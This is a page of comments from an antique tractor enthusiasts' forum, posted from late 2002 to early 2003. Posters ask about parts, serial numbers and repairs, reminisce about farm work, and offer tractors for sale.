Hans wrote on Sunday, January 19, 2003 (PST):Hello,I am looking for a muffler,and a list of implements for a AC G model with pictures or where to find them. I own a 49 G with pto,cultivator and hydraulics and it is beeing used for organic agriculture. Any other information is greatly appreaciated.
davidstillwell wrote on Saturday, January 18, 2003 (PST):i am looking for a engine sleeve for this tractor.
Clarence Davis wrote on Friday, January 17, 2003 (PST):I am nearing completion of rebuild of 12-25 Avery tractor #17782. Does anyone out there have a spare shifter fork for 1st & 2nd gear. Has anyone ever had one cast? Go to http;/tractorhorn.tripod.com/ for list of serial No's and year built.
Brad Lines wrote on Friday, January 17, 2003 (PST):I have a 1957 Cub Low Boy that I had just bought the tractor runs great! But I notice foam buildup around the oil dipstick. after milling the head and replacing gasket my foam problem is fixed. but my friend said that I have the wrong radiator cap, The auto supply told me that the one I have is the corret one. Any info would be a big help thanks Brad.
Robert Whitaker wrote on Friday, January 17, 2003 (PST):I have D-17 diesel. It is sleeved and around the cylinders are small heat cracks. Can these be sealed off from water. Also I would like to but a gas or diesel engine for a D-17.
glen wrote on Friday, January 17, 2003 (PST):I have a 49 farmall A tractor that I was using to plow with in the winter.however the last few weeks the motor will not keep running.I tried a put a rag on the air intake with the choke on but it run until a put it in gear or lift the plow.
Rey wrote on Thursday, January 16, 2003 (PST):I have a cub that I inherited after bying a small place in California. I have pute new rubber on it and replaced the carb with a Zenith. The serial # on the block behind the carb reads 107985. It has a hydralic resovior/pump behind the motor unlike the cub at the top of this page. The tank is not in a teardrop shape and the front of the tractor face is semi-round. I would like to find out more info on this tractor, Year, Model, ect. Can anyone help?
Scrany wrote on Thursday, January 16, 2003 (PST):Len, There is a place just West of Springfield, MO called "The Tractor Barn" (417-881-3668) that deals in used tractor parts that I have got several items from. You might give them a call they may be able to help you out.
jose sepulveda jelvez wrote on Thursday, January 16, 2003 (PST):hello; I write them from chili manual ,necesito of maintenance for tractor farmall, model is FAA-V. series nº 326898. if your you have but information favor to send. ingindus at 123mail.cl attn. jose sepulveda j.
Neal Beck wrote on Wednesday, January 15, 2003 (PST):I am looking for an A is restorable condition
melvin kern wrote on Wednesday, January 15, 2003 (PST):looking for toy tractors of LA Case and D Case
jim law wrote on Wednesday, January 15, 2003 (PST):you all talk of owning an ac, model b but I am trying to find one like I drove as a 10 year old. Dad mounted a home made hay bucker for it with a yacht wheel to lift the teeth. when he came in you could not see the tractor over the hay. I have a picture of me taken in 1945 setting on it. sure would like to have it or twin of it in my shed.
wade crotts wrote on Wednesday, January 15, 2003 (PST): i have 1941 serial# 39033 what year did they come out with the single front wheel or was that option. this is a very nice looking tractor
wade crotts wrote on Wednesday, January 15, 2003 (PST):very nice looking tractor
claire kemp wrote on Monday, January 13, 2003 (PST):if there is anyone intressed ion doing a coures in agriclture contactbishop burton college
claire wrote on Monday, January 13, 2003 (PST):I am 17 and i am doing a course in agricultureand that has a lot to do in tractors and ploughting feilds and sheep and cows and pigs so if there is any one out ther intrssed in doing that contact bishop burton college
James wrote on Sunday, January 12, 2003 (PST):I have restored a 1949 D. Would love to do a little tractor pulling. Does anyone makes 9 bolt hubs to lighten the D?
Len Meier wrote on Sunday, January 12, 2003 (PST):Its amazing how many B Farmall's are still working. I have a 1946 that my family has used for mowing and pulling a utility wagon for 50 years. It has been on the farm since 1953. Sometime, many years ago, the water jacket was cracked both inside and out. Does anyone in the midwestern US have a block for sale that is not cracked. If I can get one, I can run it another 50 years.
1066 man wrote on Sunday, January 12, 2003 (PST):harvester 1066 is way more reliable then a 4440 I had both and the 4440 was one thing after another and nothing but a headache fuel pump engine rebuild transmission and countless number of batteries I never had a problem with my 1066 and my international put out more drawbar horsepower then my deere 4440.
chuck melburg wrote on Sunday, January 12, 2003 (PST): New to the farmall cub family. Somewhere in oct of 2001 I bought a raffel ticket for a cub tractor. I forgot I even had the ticket. You guest it, I won what was to be a restored Cub. Meaning it was painted,new tires, and ran good. I noticed some leaks,oil,gas,etc. So to date I have replaced all bearings,seals,bushings,trans & pto shafts,rebuilt carb,hyd pump & resivor,new oil pan. The only thing not rebuilt from front to rear is the eng & clutch. It is a fun toy and I love it. I would like to get a belly momer for it this summer, so if anyone knows of one somewhere in the Ill,Iowa, or Mo area for sale please let me know.Oquawka Ill phone# 309-867-3975
justin kubesh wrote on Sunday, January 12, 2003 (PST):My grandpa recently bought a 1958 720. It is a diesal, it has electric start, it also has fenders,wide front and a 3point. I absulutely love this tractor, I drive it all the time and when you dig in heavy soil it is always a joy to hear it's power.
tee wrote on Sunday, January 12, 2003 (PST):does anyone know the shift pattern of a F14.there is nothing on the tractor that shows it and I don't have a clue which gear its in.tractor doesn't run YET. thanks
TIM wrote on Saturday, January 11, 2003 (PST):I have a McCormick Farmall 140 (serial #25978J). I would like to restore this tractor and need to locate parts and decal set for this tractor. Any information you might have would be helpful. Thanks,Tim
Mike Sloane wrote on Friday, January 10, 2003 (PST):I am looking at a Farmall 860 diesel with NF and Fast Hitch. The dealer says the tractor is good but the TA "slips". I thought the TA either works or it doesn't. The price is right, but I wonder what I am in for. Mike
Dale Coleman wrote on Friday, January 10, 2003 (PST):can anyone tell me where to put the hydrolic fluid in my 560 farmall tractor.
john deere man wrote on Friday, January 10, 2003 (PST):Ive got two of these they are pretty good tractors but im looking for a jubilee
John Deere Man wrote on Friday, January 10, 2003 (PST): Ive got one of these my grandpa bought it when he just started farming and everyone thought he was crazy for buying such a big tractor but look at the tractors now!!!!!!
Larry wrote on Wednesday, January 08, 2003 (PST):I own a 49 B that I've gone over and repainted.The old girl runs like a top.I've since purchased 25 acres and want to put her to work.With an after market 3-point hicth installed,could it handle a small brush hog and would be able to handle plowing,tilling etc.25 acres without killing it. that I've gone over and repainted and she funs like a top.
KH wrote on Wednesday, January 08, 2003 (PST):I have a B it is a great mowing tractor.
Hubert MAWET ( Belgium ) wrote on Tuesday, January 07, 2003 (PST):i own the same model W OIL PULL sérial # 99 , i bought this tractor over 5 years ago in South Dakota originaly the tractor ha's worked in Canada , it is a very powerfull small tractor , i enjoy it on each show here in Belgium very few came over to Europe only 3 are known 1 in Belgium , 1 in Spain , and 1 in UK but this one is a L 15/25? we call the OIL PULL tractors the ROLLS ROYCE of the tractors
D Gatzemeyer wrote on Tuesday, January 07, 2003 (PST):I grew up with a 1957 D17 and spent countless hours plowing, discing, cultivating, etc, etc....(Of course I had to learn to drive a tractor using a WC). And for a short time, worked on them at an implement dealer. Recently bought a D17 Series IV at an auction. It has the heavy 3-pt hitch, but it goes down rather quickly when engine is shut off. Anyone have an idea what might be the problem? Perhaps faulty check valve? Also, where would be a good place to find an additional "stack" valve to add to the valve bank to run a loader bucket. This tractor came with an Allis loader but has a trip bucket that I'd like to convert to hydraulic-cylinder controlled and perhaps make it self-leveling. Does the Series IV use the 821 Lube for hydraulics/power director? Any comments or advice would be greatly appreciated.
Michael Aydt wrote on Monday, January 06, 2003 (PST):I am looking a for a 80 to and to my series of tractors. I am form Minnesota and would be willing to travel to close states and pay a descent price.
Michael Aydt wrote on Monday, January 06, 2003 (PST):Hi My Name is Mike. I own a Johndeere 60. I use it to go tractor pulling. I am from Stewart Minnesota and my tractor is still used on the farm today. I well never sell that tractor, It was my first tractor that I restored about 3 years ago and I am now 18. I also wanted to say that The 60 was meant to replace the G they are real close in horse power but the 60 has just a little bit more than the G. I anyone has any ?'s about my 60 or any 60 feel free to ask. I could be a big help if I don't know the answer I know people who well.
Barry Whalen wrote on Monday, January 06, 2003 (PST):Would like to know if a Series 4 D-17 hydralic pump/system could be installed on a Series 3 D-17. Thanks!
Robert Dailey wrote on Monday, January 06, 2003 (PST):I used cockshutt 50 for logging smoothest running tractor for pulling logs out of the woods Thankyou cockshutt
JOE wrote on Monday, January 06, 2003 (PST):Ineed to know where to find the serial number on a pony tractor. Thanks Joe
Jack Baker wrote on Monday, January 06, 2003 (PST):I've run out of money and just don't have the inclination to restore the cultivators for an F-14. I hate to see them go to waste and wondered if anyone would be interesting in obtaining a full set (front and rear) of cultivators for your tractor? Let me know. jrbaker at remc11.k12.mi.us
John Valles wrote on Monday, January 06, 2003 (PST):I have an OLVER Super 55 for sale. Complete tractor. Good rubber, no smoke. Tractor located near Tucson, AZ. Call or email. 435-797-0344, 435 770-6635
Mark wrote on Sunday, January 05, 2003 (PST):Model A Avery tractors have a ser# on the rear of the right fame rail beside brake pedel on top of rail.
Jim Vassar wrote on Sunday, January 05, 2003 (PST):I am interested in purchasing a Farmall Cub. Needs to be in great shape and have all attachments that came with it for the year. Also needs hydrolics. I live in Nashville, Tennessee and also have a farm in Huntsville, Alabama. Phone # 615-831-0001
kyle wrote on Sunday, January 05, 2003 (PST):my dad and uncles own a 1949 8n. We have alot of other tractors but my favorite is the 8n.
kevin C. Stuart wrote on Sunday, January 05, 2003 (PST):I have a 1948 DI Case built May 25 1948,orginally it was a loader tractor and was shipped to Roy C. Wayne supply company,If any body knows were this company was located I would be very thankful.
Gary W. Taylor wrote on Saturday, January 04, 2003 (PST):The tractor in the picture is a Farmall 560 not an International. The International versions were the Standard Models. Some called them Wheatland Models. For the gentleman having trouble starting the gas model try a hotter plug. This also will help when gining around. Also pull the choke clear out, give it about a third throttle then crank it. Use a colder plug when plowing etc. For the gentleman's question about 3-16. It's more a matter of the soil type. I had a cousin who farmed north of Washington C.H., OH on US62 and all He'd use was gas tractors and even had an 8-6 gas. The dirt was black and tough and all the 560 gas could pull was 3-14. IH company sent out people/engineers. The finally came to the conclusion after a series of tests it was just plain old tough dirt. Some people just a little North of him were using John Deere 4010 Diesel's and all they could do was 4-14. Hope this helps some.
steve zaragoza wrote on Friday, January 03, 2003 (PST):I have owned a 1949 WD for 25 years, bought it for $100 from a guy who bought it new. It has never been kept in doors ,run great does not smoke, it only plows snow 1 or 2 times a year, W.Pa.
BEN wrote on Friday, January 03, 2003 (PST):i recently had bought a td-5 and did some repairs. the previos owner has misplaced the owners manual.My question is where is the filler plug for adding hyd/trans fluid, i can only find the vent plug under the seat.
Kevin Buie wrote on Wednesday, January 01, 2003 (PST):My dad has the same exact tractor and I'm trying to restore it. I need the 140 emblem that fits on the side of the tractor. There are actually two of them and I believe they screw in. If you know were I might be able to locate them please write back. Kevin
matt morrow wrote on Tuesday, December 31, 2002 (PST):I 17 and i love tractors and drive them. my famliy and friends has owened 2or 3 2010s and none of them like them 2 of them were gas and 1 of them was a diesel the gas ones we had head problems one than once and the diesel woulndnt start with out being prheated ever if it was 95 out side. but besides these problems i like them they were a good size tractor to rake hay and rasie tobacco with . the a some were around 45 horse power thanks matt
Brian Ault wrote on Tuesday, December 31, 2002 (PST):I have tried to find if any other person has an information of an American company which manufactured engines in Australia. Westinghouse was the company and the engines were sold under local names such as Rosebery or Buzzacott. I have a 6HP Rosebery and would like to know if these engines were manufactured in any other country.
Terry Danson wrote on Tuesday, December 31, 2002 (PST):I Have a 1917 or 1919 8/16 kerosene. It is all complete including fenders and should run. Does anyone know the value of this tractor. Thanks in advance.
Ray Hughes wrote on Tuesday, December 31, 2002 (PST):My Dad bought one of these high clearance 420 John Deere in Cullman Co. Alabama back in the 60s. We used it for years and never had a mintues problem with it. My Dad sold it in the 70s to someone in North Al. but he doesn't remember who the person was. I would love to track it down. It had a sticker on it from the John Deere dealer in Cullman Al. I have no record of the serial number but would recognize it. My Dad had to weld a spot on the rear axle. Any help would be appreciated.
Ray Hughes wrote on Tuesday, December 31, 2002 (PST):My wife's Dad has a 60 John Deere that he still uses occasionally. It has a live PTO that the clutches have gone out on. He is having trouble finding replacements. Anyone out there have a good set they might sell at a reasonable price? I would like to fix it for him. He is 86 years old and would not take a million dollars for that old John Deere. I love to see him enjoy his time bush hogging his small garden spot. It makes his day to run the old Deere if only for a few minutes.
Bill Marshall wrote on Tuesday, December 31, 2002 (PST):Regarding Model "R" John Deere's. My Dad bought one in the spring of 1961. I was 17 years old. It replaced as the farm working tractor a 29 Model "D". This "R" had the engine rebuilt. The former owner had 2 R's bought new and replaced them when the 4010's came out. We bought the "R" for $1800.00. The "R"'s, if not properly warmed up or put to work too soon would score the cylinder wall. This happened to this tractor. So it was rebuilt, 45 over and tuned up. The other R sold for $1700. but the tires were not so good. The first spring we broke an axle disking on soil bank, shop warranty, and in the late 70's the starting engine blew it's crank. Also I developed a crack in the head and had it replaced in the early 80's. This served as the main tractor on a 640 acre farm in North Dakota until thelate 80's when it was replaced by a 4025jd. I purchased this tractor in 2000 from my 84 year old Dad in exchange for a riding lawn mower and a small tilting utility trailer at a cost of $1265.00. The engine still runs good. I give hayrides with this tractor. What a show to start in cool weather. The tractor is apart right now, am having the rearend gone through. The rear oil pump that lubes the transmission wasn't working due to a bearing failure. This in turn lead to underlubing of the moving parts in the rear diferential. Both side gears need replacing as well as pump parts and the like. It will also restore the pto and hydrolics. Tractor has new rubber all the way around. In answer to several questions above, The Model "R" weighs empty 7200 lbs empty. My "R" has fluid in tires, about 450 lbs each, plus 2 wheel weight inside and outside of each rear wheel. I'm guessing about 150 lbs per weight= about 1200 lbs in weights totaling overall about 92 to 9400 lbs with fuel and water. There is a plug behind and to the rear of the flywheel to check for oiling of transmission. Transmission pump styles changed at serial # 5100 and were a little easier to service. My tractor is # 4384. Can you tell if I'm proud of my little smoker. My two grandsons, age 9 and 5 love it to, cuz it Grandpa's tractor 651-437-6256 Add. 3489 Cory Ln, Hastings Mn.
Warren Walton wrote on Tuesday, December 31, 2002 (PST):My Dad just finished restoring a TD 35 and he would like to talk to you about it. He can either call you or if you want to give your phone number he will call you. He has a number of crawlers and is really into it. You can email me if you like and we will get back with you.
Brad wrote on Monday, December 30, 2002 (PST):I have a 1952 vac I am in need of alot of parts it is in rough shape. Does anyone know of another tractor I can buy for parts? I live in utah.
Roger wrote on Monday, December 30, 2002 (PST):I'm not sure if it is a 501 or 541 series ford offset. Where do you locate the serial # on the tractor? Would appreciate any advice on this matter. Thanks
Nick wrote on Monday, December 30, 2002 (PST):I have a farmall Super M with live hydrolics, with one out put line. My question is, can I use this one line to run a log splitter, and how would I cofigure a return line? The log splitter does not have a control lever. Could I use the tractor hydro lever? Or would I need a seperate actuator? Any Info would be greatly appreciated. Thanks, Nick
Carol Kohler wrote on Sunday, December 29, 2002 (PST):Can anyone share information regarding CULTOR tractors which were made circa 1928? It is my understanding that the company sold out to International in the late 20's. In my research I haven't been able to obtain much information. However, I have been told that there are only 4 in the United States and I have one of them. This information may be right or it may be incorrect and I would appreciate finding out something about the tractor which I own. Thanks for any input.
Scott C. wrote on Sunday, December 29, 2002 (PST):I am looking for the following equip. for my Pony; a No. 41 one row rear mounted corn planter and plates; a No.41 one row bedder/lister; a No.40 snow plow/dozer blade; a one row planting attachment that mounts on my No.41 spring trip cultivator. Any info or leads would be greatly appreciated. Thanks.
Ralph Barnett wrote on Saturday, December 28, 2002 (PST):Bill Shepard, I would also like to know how to contact you as well, or E-mail me at rbarnett8080 at aol.com
RHughes wrote on Saturday, December 28, 2002 (PST):I bought the most worn out B along with several other old tractors in a package deal. Didn't think I wanted it but I had a 72" Kubota belly mower that I had traded for. I made an unslung power takeoff to and fabricated brackets to fit the old B. It took a while to do but it turned out great! I mowed my 3 acre yard with it for 4 years before the old B died. I took the B to a salvage yard and kept the mower and adapters in hopes of finding another old B to put it on. I got a lot of comments on this rig when I used it. It was a grass cutting machine! I am now mowing with a 140 Farmall with a Woods 60" mower. The tractor is great, but the Kubota mower deck mounted on an old B was far superior!
Jay wrote on Friday, December 27, 2002 (PST):My grandfather owned a Farmall Super C...both "Grandpa" and the tractor are long gone now. But I am looking for a restored Super C to purchase...any information on any for sale would be greatly appreciated.
Harold wrote on Friday, December 27, 2002 (PST):I own a 1938 f-20 with electric start, foot brakes,hydraulics, and road gear. Good tractor
Jim Hansen wrote on Friday, December 27, 2002 (PST):I have a 1951 M in showroom condition and am interested in selling it to anyone seriously interested in a outstanding tractor. Less than 100 origianl hours on the tractor. It was stored for 37 years.
Darcie Gayken wrote on Thursday, December 26, 2002 (PST):I am the proud owner of a 1954 Allis Chalmers WD-45 tractor, with a wide front. I have fully restored it and want to take it to some AC tractor shows. Does anyone know of any in the mid west? (MN, IA, WI)
William Farmer wrote on Wednesday, December 25, 2002 (PST):the 60 replaced the "A" not the "B" if I'm not mistaken.
Timothy McDaniel wrote on Wednesday, December 25, 2002 (PST):I have a John Deere Tractor Model B Year 1935 Serial Number 3623 fully restored. I would like to know who the first owner if this tractor was; also, I would like to know the city and state it was first shipped to. If there is a way possible, could you tell me how much it is worth.
George Huncik wrote on Wednesday, December 25, 2002 (PST):I have collected and restored a few old rusty tractors! I have 2 Bs 2-45s and 1-c. IM LOOKING FOR A COMBINE TO RESTORE AND USE BEHIND MY B!
Ron Satzler wrote on Wednesday, December 25, 2002 (PST):I have a 1930 that looks exactly like this one except mine has spokes in the rear wheels. My love for the L and LA was born one day about 1950 when I was about 10 years old. In eastern Ks where dad farmed the farms were small and the biggest tractors were DC's, M's, WD's,A's,88's. A neighbor had a son farming in western Ks where farms were big. They hauled an LA from western Ks to our small farm community to do some heavy tillage. One of my lasting impression is hearing "something" coming up the road that was definitely louder and different than the usual tractor. As it passed our house, it was the biggest, most awesome tractor I had ever seen and it was towing a great big one-way plow. I ran down the road to the field where the LA was working. After following it through the field on foot for I don't remember how long, I was invited to ride on it. For a poor farm boy, life didn't get any better than that!!!
Jacob Kittrell wrote on Tuesday, December 24, 2002 (PST):Need parts for a MMU Tractor could anyone help me with this? Contact me please.
Bill Shepard wrote on Monday, December 23, 2002 (PST):I have a 67 550 gas which I'm thinking of selling and was wondering what it should be worth. It has 2700 actual hrs., power steering, the original rear tires with good tread, good tin and grill, everything works( the gas gauge is intermitent) and it starts and runs great. It would be a great tractor to restore or use as is. Your thoughts would be appreciated. Thanks.
Allen Jones wrote on Monday, December 23, 2002 (PST):I have a 1949 Super C tractor with a homemade three-point hitch. The tractor is not operating, but its body is in good shape. Its serial number is 351132-R1. Can anyone tell me the approximate value of this tractor? Thank you.
Lee Cozad wrote on Monday, December 23, 2002 (PST):I own a 48'Cockshutt 30.The Pto does not work correctly. Anyone out there who knows of overhaul parts and service manuals for this tractor. Greatly apprectiated.
Erv Brietzke wrote on Monday, December 23, 2002 (PST):I have a 1979 IH 185 with a 60" snow blower attachment. I am looking a 3-pt hitch. Will sell or trade snow blower attachment for a 3-pt hitch.
David wrote on Monday, December 23, 2002 (PST):Hello. Where could you find the orchard tin for a tractor like this. Reproduced or used. Some one sent me an email on this question and I deleted it before I read it. Could you send it again. Thankyou David
Austin Mills wrote on Sunday, December 22, 2002 (PST):Me and my dad got a 1953 8n. The hole alternater is waysted. We need a new bracket to hold it in place, The frame that holds it has a big crack threw it. But it funs , not very good but it runs.
wallace zade wrote on Sunday, December 22, 2002 (PST):how much are the twi city worth complete.broken oil may need. how much is pump? thank you.
Berend wrote on Sunday, December 22, 2002 (PST):I own an old marshall tractor type 18/30 year 1933. I have to restore the tractor and would like to get into contact with somebody who can tell me more about it.
Gary Pawelek wrote on Saturday, December 21, 2002 (PST):I am looking for a hood and fuel tank for a 1952 john deere g tractor
Luke Erpelding wrote on Saturday, December 21, 2002 (PST):I own a Cockshutt 30, that i need fenders for i traded it a cushman truckster for it. Im 15 and need parts to have a complete resto.The parts I need are;A set of fenders, carburetor,and an original seat. If you have these parts PLEASE contact me at (260)-749-4056. I live in Indiana, Ask for luke.
Ron Truax wrote on Saturday, December 21, 2002 (PST):I have a 1937 John Deere B with adjustable rear rims. Can anyone tell me about these rims. Were they avalable on the B,or did they come off some other tractor? Any info. would be helpful.
IH man wrote on Friday, December 20, 2002 (PST):My dad and his brother have a 560 and 460.I think they are very nice but could us some more leg room.The 560 is on a corn picker and is left on it all the time. The 460 is on the green choper most of the time. They are both very good tracters.
Harold J. Rauch wrote on Friday, December 20, 2002 (PST):I have a 1954 Case 500 Diesel, it is all in tact, but needs crankshaft work, it spun a bearing on #2 conn. rod. I have almost all the parts to do the job, it has almost brand new Armstrong rear tires, and the sheet metal is all good, I have to find some time to work on it. I live in Walnutport, Pa. I have lots of other Case tractors also, some are for sale. Thanks for listing, Harold
kenny bell wrote on Thursday, December 19, 2002 (PST):i was look at the different types of old tractors trying to decide on one thta i would want to get to rebuild and i have decided to get a R so if you have one for sell please email me.
Julian E. Jasper, Sr. wrote on Thursday, December 19, 2002 (PST):I once worked for a farmer in Arkansas when i was in high school and drove a WD-45 daily. Now that i am ready to retire from a office job for the last many years i am looking to purchase one to tinker around with. I would like a wide fromt end gas burner at a reasonable price. Your assistacne will be helpful.I can be reached at 414-447-0122.
Art Wilson wrote on Thursday, December 19, 2002 (PST):Back in the early 1940's I was 8 years old and was "strongly encourged" to learn to drive my Uncle and Grandpa's Oliver 70, Iron tire, tractor so I could spend many hours working the fields of Arkansas Bottoms while they were doing other things. That same tractor, (What is left of it), is sitting in my cousin's front yard as memorabilia. It is in very bad shape. (Over the years parts have been stolen, weather, birds, etc). I now have a desire to have a picture of one of those as a keepsake for my Genealogy Book. Does anyone know how I may find one?
Jeremy wrote on Wednesday, December 18, 2002 (PST):For all of you wondering about how many of these tracors were built here are some numbers for you. There was 762 gasoline tracors, 733 All-Fuel tractor, and there was no LP-gas tractors built.
Jeremy wrote on Wednesday, December 18, 2002 (PST):For all of you wondering how many of these 60 Orchards were built here are some numbers for you. There was 297 Gasoline tracors, 530 All-Fuel tractors, and 45 LP gas tracors. I can't help amount of each built in every year.
Todd Vice wrote on Wednesday, December 18, 2002 (PST):I have a 1947 vac that I restored to mint condion in 1999. This has been a very good tractor for me as a daily user. These small but efficient tractos are comfortable and afordable, and simple to repair. I would recomend this model for anyone seeking a easy, yet valuable on the farm tractor.
Kent wrote on Tuesday, December 17, 2002 (PST):My dad has a JD 80. It is in fair shape, but has not run for a few years. He was wondering what the fair market value of it is, as he has been offered $3000 CDN for it (Saskatchewan). If you are familiar with this, please contact me. Thanks.
steve hacker wrote on Tuesday, December 17, 2002 (PST):i have a 1949 R serial#1733 i am restoreing it now, it is running shape but looks rough, my dad bought it and a 15 tandem disk in 1977 for 1400.00 and when he go it the pony moter didnt run, he took it off and it has been setting outside, we always pulled it to start it, i plowed alot of ground with the ol tractor, we nick named it the "power house" there just wasnt much it wouldnt do around our farm. now i am all grown up, and love going to the shows, i am restoreing the R first, i hope my dad lives long enough to see it when i am done, it still runs good but needs some minor work, all the hydrylics still work good and pto work good, i am in need of some other parts like pony moter parts, fenders, battery box, hood, and poss a radiator, just thought i would share this,,,any idea's on locating salvage parts would be apreciated,,,thx steve
Dug_E wrote on Tuesday, December 17, 2002 (PST):Please do not bombard me with E-mails telling me that my above tractor is a 47 not a 50. I would like to make a correction and an update to the information above. The serial number of this tractor is FC 51563 not 1815. The 1815 number is the second number stamped on to the serial number plate, but due to years of wear and tear I am no longer able to read what this number represents. If you know please tell me. Thank-You.
Mark Thiesen wrote on Tuesday, December 17, 2002 (PST):I hope to use mine.I have just bought two 1927?? Wallis tractors and i have never owned a tractor like this before do not know much about them.Can you tell me anything about my tractor? Thanks Mark Thiesen
Dug_E wrote on Monday, December 16, 2002 (PST):I am in the process of restoring my Grandfather's Farmall Model C #1815. He bought the tractor in the mid 50's painted red, and equippped with touch controll hydraulics and the adjustable front axle. Upon the initial washing of the tractor I found the single coat of red paint washed off as readily as the dirt, to reveal a dirty white paint job underneath. I have since learned that this was a dealership 50th anniversary demonstrator model from early 1950 and was re-painted red at the dealership before being sold. I am searching for some knowlegable people to help me learn some of the history and details of the Model C. Over the years some things have been added and changed to the tractor, so I would appreciate any information on options avaliable at this time. The tractor is presently equipped with a rolling draw bar and backwards folding seat assembly. Both of which I believe have oame off a newer model. I also need to know if there is supposed to be a spark arrestor, muffler, and what model carburator was it equipped with? I think the carburator may have been changed as well. I am also looking for a complete decal package for the tractor including; hood, model, gastank, air cleaner, breather cap, pto guard, fan blade, fender, lights, and oil filter decals in the demostrator sceme. I also understand a few parts such as the wheels, air cleaner, and possialbly the steering wheel, lights, and perhaps some other parts were still painted red, is this true? If anyone can help me with any facts, stories, information, or history about this great tractor, please e-mail me, I would greatly appreciate it. Thanks. P.S Does anyone know for certain exactly what the differences between the c and the super c is in 1950?
John Forward wrote on Monday, December 16, 2002 (PST):I have a 1941 Ford Fergusson Farm Tractor No.9N36395 With Plough No. C-1019 Type 16A Blade 16A-A0120. Tires,Rear-9x32. Front-4X19. Tire Presures, Rear !2lb. Front 26lb. Battery 6 volt. Group 1. Generator U5. Radiator Cap.3gal. Fan belt #700 Gates-Vulco. This Tractor was Purchsed to help mine employees with victory gardens in April of 1941, and after the war it was used for pulling a trailer with building supplies around a mining town, then for several years it was only used to move a light aircraft in and out of a hanger, so it done very little hard work, and is in good working order. I bought it from the original owner and I have the purchase order No. and landed cost etc. The only thing that is not original is the gas tank, which I replaced because of internal rust. Along with the Tractor I also have supply of parts, such as pistons,Rings,Bearings, Valves, Valve guides, Gaskets, Etc.
james corder wrote on Sunday, December 15, 2002 (PST):the minneapolis-moline g1000vista is one of the best looking tractors that was ever made in my opinion. i've always had trouble understanding just how MM went down. it had to be just plain bad management because my experience with the MM brand indicated they were of top quality and durability, two things farmers find necessary in their equipment. no matter what the configuration the g1000v is just a very fine looking machine!
james corder wrote on Sunday, December 15, 2002 (PST):we never did have as fine a tractor as the MM GVI, however, i did drive a 1948 MM "U", it could outpull the super "M" farmall and would just leave the farmall when it came to plowing with 3-16's. I always thought the MM tractor company really knew how to put a tractor engine togeather, large cubes, long stroke, and low RPM. that always seemed to make sense for hard working engines where lots of torque was required. I like all MM tractors and collect the literature and toys. living in town i don't own a tractor right now, maybe someday.
ralph brown wrote on Sunday, December 15, 2002 (PST):i own a leader tractor with a hercules motor i need a manafold for it i have welded it up many times but it is to thln now i also have a manul for the tractor any help!!!! thanks
lindell taylor wrote on Sunday, December 15, 2002 (PST):i have an 1938 g that i pull. It pulls 108 on the dino. win lots of frist places
jerry smallwood wrote on Saturday, December 14, 2002 (PST):just bought a m sn 47633 need to know the year , great tractor wsmall8931 at aol.com
scott leith wrote on Friday, December 13, 2002 (PST):have a vai dont know what year it is tag is gone tractor has a eagle hitch and drawbar also a side belt pullie would like to know what year it is pully is broken would not work when i got it any info would be help full thanks
Steve Crites wrote on Friday, December 13, 2002 (PST):I have a 1938 model b to which I have fitted a hydraulic pump,double acting loader, 3 pt. style hitch and a log splitter. I replaced the FM magneto with a 1-2 reducer and a distrubutor. It runs great and works hard but doesn't look much like a "B". I am restoring a "c" and would like to get some "new" sheet metal. Does anyone know where I could find an engine cover and front cowl?
Ron Parry wrote on Wednesday, December 11, 2002 (PST):My father and Oliver dealer from 1956 until he retired in 1978, saw to it that I had a way to pay my through college. He purchased a Super 55 D put a side mower on it and got a contract from the state of Pa. to mow road banks. So from 1964 to 1968 I spent every day each summer, mowing roads. That old 55 used and average of 3 gallons of fuel every day and except for filters and changing the oil that was the total cost of maintaining the 55 for four years of running 8hrs a day each summer. PS I made 6.00 dollars per hr. I thought I was rich. I really wish I still had that old 55. He sold it after I graduated from college in 1969.
Henry Hahn wrote on Wednesday, December 11, 2002 (PST):Rebecca Have your dad contact the Leader Tractor Club 7606 Hwy. J Perryville,MO 63775
hardscrabble wrote on Monday, December 09, 2002 (PST):My dad's last tractor was an 80, which I traded for an IH 1066. The 65 "horses" the 80 had must have been Clydesdales, because that beast was almost unstoppable. I once had 2 10' Moline oneways hooked to it, and it pulled them, even bringing the front wheels off the ground going uphill. For all that power it should have had a heavier drive train.
Norman Searcy wrote on Monday, December 09, 2002 (PST): I owne a 1950 model B allis chalmers that I have restored and painted runs greatgood tractor.
Darrell wrote on Monday, December 09, 2002 (PST):Very nice tractor. Im restoring a 99 6 cylinder diesel serial number 520868.My tractor was two colors of yellow not green, I was woundering if anyone could tell me what the C stands for after the serial number. Mine came from plant # 2 or thats what the serial plate says, how many plants were there if anyone knows.
Darrell wrote on Monday, December 09, 2002 (PST):Very nice tractor. Im restoring a 99 6 cylinder diesel serial number 520868.My tractor was two colors of yellow not green, I was woundering if anyone could tell me what the C stands for after the serial number. Mine came from plant # 2 or thats what the serial plate says, how many plants were there if anyone knows.
Jerry Feist wrote on Sunday, December 08, 2002 (PST):I have a 1948 or 49 Farmall A with a Woods mower. Tractor has been repainted with new farmall stickers. Brand new rear tires. This is a nice tractor. I was using it to mow a model aircraft flying site. We have since aquired the city to mow the site and I have put my tractor up for sale.
Peter wrote on Saturday, December 07, 2002 (PST):I have a Ford 2013 LCG...1962 4 cylinder gas. Great tractor. I use it to grade driveways, cut fields, etc. I lucked out with a $1400 purchase and have only needed to change the fluids.
Maurice Vonasek wrote on Saturday, December 07, 2002 (PST):I'm looking for a "reasonably priced" gas powered Oliver Super 55 that is in decent running shape. Hopefully someone out there has one for sale near the Lincoln, Nebraska area. 3-pt. attachments? Thanks!
Tom McDonald wrote on Friday, December 06, 2002 (PST):I am looking to buy working condition Cub tractor with a belly mower. I'm located in South Texas, but will travel for the right deal. 210-651-3008 or email.
SHAUN STACK wrote on Thursday, December 05, 2002 (PST):the m is the easiest tractor to work with
hardscrabble wrote on Thursday, December 05, 2002 (PST):My first tractor was a 1066. I later traded it for a JD 4630. The JD had a better cab, and planetaries instead of bull gears. But the the IH was definitely a better "lugger", and I LOVE the sound of International engines.
Terry wrote on Thursday, December 05, 2002 (PST):Am looking for an I H carburetor for a 1950 farmall cub.Anyone having an extra or parts carb please contact me
Jonathan wrote on Thursday, December 05, 2002 (PST):I have a Massey Harris Pony and I am having trouble finding out what year it is and the engine spec and tune up settings. The Pony was made in Canada the engine # is 42252 A62E And the model # is PGA2276. Can you find me the year of the tractor and the engine spec and tune up setting?
